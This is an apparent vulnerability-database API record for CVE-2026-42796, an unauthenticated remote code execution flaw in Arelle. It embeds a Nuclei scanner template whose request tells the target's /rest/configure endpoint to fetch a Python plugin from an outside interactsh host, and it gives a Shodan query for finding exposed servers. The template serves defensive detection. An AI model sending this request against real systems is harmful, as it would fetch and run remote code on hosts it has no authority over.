{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-42796/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-42796/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-42796/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-42796/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-42796/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-42796"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-42796"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-42796.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-42796\n\ninfo:\n  name: Arelle < 2.39.10 - Remote Code Execution\n  author: aryu-ru\n  severity: critical\n  description: |\n    Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.\n  impact: |\n    Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.\n  remediation: |\n    Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.\n  reference:\n    - https://www.vulncheck.com/advisories/arelle-unauthenticated-rce-via-rest-configure\n    - https://github.com/Arelle/Arelle/pull/2320\n    - https://github.com/Arelle/Arelle/releases/tag/2.39.10\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42796\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42796\n    epss-score: 0.02747\n    epss-percentile: 0.86239\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: arelle\n    product: arelle\n    shodan-query: http.html:\"Arelle Web Services\"\n  tags: cve,cve2026,arelle,rce,oast,unauth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: body\n        words:\n          - \"Configuration Request\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100ab01d3b6e869a818aa6ee2e7b92a094228a262a11c455c0e555f608c7cfd0f9e02201b89108bbdaf63718bac1af52cf3317608a0ee62e15d077be419001bec48d7f0:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-42796"
}